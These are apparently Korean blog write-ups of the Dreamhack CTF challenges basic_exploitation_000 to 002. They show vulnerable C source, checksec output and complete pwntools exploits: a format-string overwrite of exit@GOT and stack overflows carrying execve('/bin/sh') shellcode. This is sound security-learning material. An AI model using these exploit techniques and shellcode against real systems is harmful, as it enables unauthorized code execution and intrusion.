basic_exploitation문제 중 유일하게 level 2문제다.
 

1. checksec

[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/73fd9a8e-66ed-4c7d-8d62-57b98fe85979/basic_exploitation_002' 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Partial RELRO, NX가 걸려있다.
 

2. Analysis

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

대충 코드를 보면 printf("%s", buf)로 출력을 해야하지만 printf(buf)로 코드가 작성되어 있어 FSB취약점을 이용할 수 있다.
그리고 입력을 read함수로 받고 최대 0x80까지 받기 때문에 일단 BOF는 사용하지 못한다.
 
https://learn.dreamhack.io/3#23

로그인 | Dreamhack

dreamhack.io

드림핵 레퍼런스를 참조해서 SFB취약점에 대해 공부했는데, 결론만 말하자면 exit@got의 주소를 get_shell함수로 overwrite하면 된다.

exit@plt에서 jmp 주소는 [0x804a024], 그리고 get_shell함수의 주소는 [0x08048609]
 
AAAA.%8x.%8x.%8x를 입력해보면서 41414141이 어딨는지를 확인해보면, 

첫번째 %x에서 바로 인자를 받는 것을 확인할 수 있다.
 
결론적으로 payload에는 exit@got에 get_shell함수 주소를 보내면 된다. 그런데 get_shell함수의 주소 [0x08048609]는 int로 변환했을 때, 134514185로 큰 수다. 따라서 exit@got+2에 0x0804를 먼저 보내고 그 다음 exit@got에 0x8609를 다시 보내면 된다.
 
 

3. exploit

from pwn import *

p = remote('host3.dreamhack.games', 21528)

exit = 0x0804a024

payload = p32(exit + 2) + p32(exit) + b'%2044c%1$hn' + b'%32261c%2$hn'

p.sendline(payload)
p.interactive()

부가설명하자면, 일단 리틀엔디안이기 때문에 exit+2의 위치에 0x0804가 들어가고 대신 주소 입력 8byte를 제외해야하니 0x0804 - 0x8 = 0d2044
 
그리고 다시 앞에 0x0804만큼 글자가 입력됐다고 인식되니, 0x8609 - 0x0804 = 0d32261
 

'Security > System' 카테고리의 다른 글

Dreamhack basic_exploitation_003  (0) 2022.08.10
Dreamhack basic_exploitation_001  (0) 2022.08.08
Dreamhack basic_exploitation_000  (0) 2022.08.08

1. checksec

[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/7707d923-189a-4145-95fc-09c9743f4fbf/basic_exploitation_001' 
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX 기법만 적용되어있다.
 

2. Analysis

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

코드를 보면 read_flag라는 함수가 있는데 이를 쉘에서 불러오면 플래그를 바로 얻을 수 있을 것 같다.
 

일단 main함수를 보면 000문제와 대부분 동일하지만 scanf가 아니라 gets로 입력버퍼를 받아온다.

read_flag함수를 불러온 것인데, 우리는 결론적으로 그냥 쉘을 열어서 이 함수를 리턴주소에 overwrite해서 바로 불러오기만 하면 플래그를 얻을 수 있다.
 

3. exploit

from pwn import *

p = remote('host3.dreamhack.games', 9243)

shell = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

buf = int('080485b9', 16)

payload = shell
payload += b'\x41' * (0x84 - len(shell))
payload += p32(buf)

p.sendline(payload)
p.interactive()

 

'Security > System' 카테고리의 다른 글

Dreamhack basic_exploitation_003  (0) 2022.08.10
Dreamhack basic_exploitation_002  (0) 2022.08.08
Dreamhack basic_exploitation_000  (0) 2022.08.08

pwnable 배웠는데 그래도 맛이라도 보자.
 

1. checksec

[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/6cfb7fc8-faea-431e-ae90-305736581cfc/basic_exploitation_000' 
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

일단 아무런 보호조치가 걸려있지 않다.
 

2. Analysis

우선 코드부터 보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

대충 보면 버퍼의 크기는 0x80, 버퍼의 위치를 출력해주고 그 다음 scanf로 버퍼에 입력받는다.
 

main함수 디스어셈블 결과인데, 버퍼의 시작위치는 [ebp-0x80] == [esp]인 것이 보인다. leave에 bp를 걸고 확인해보자.

그렇다면 우리가 해야할 것은 sfp 4byte를 생각하여 shell코드를 버퍼에 먼저 입력시키고 0x84에서 shell 코드를 뺀 나머지 크기에 dummy data를 채운 후 마지막에 buf를 리턴시키면 shell을 얻을 수 있을 것이다.

3.exploit

 

from pwn import *

p = remote('host3.dreamhack.games', 10820)

#scanf 우회 shell code
shell = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

p.recvuntil('buf = (')
buf = int(p.recv(10), 16)
p.recvuntil('\n')

print(buf)

payload = shell
payload += b'\x41' * (0x80 - len(shell) + 4)
payload += p32(buf)

p.sendline(payload)
p.interactive()

'Security > System' 카테고리의 다른 글

Dreamhack basic_exploitation_003  (0) 2022.08.10
Dreamhack basic_exploitation_002  (0) 2022.08.08
Dreamhack basic_exploitation_001  (0) 2022.08.08

+ Recent posts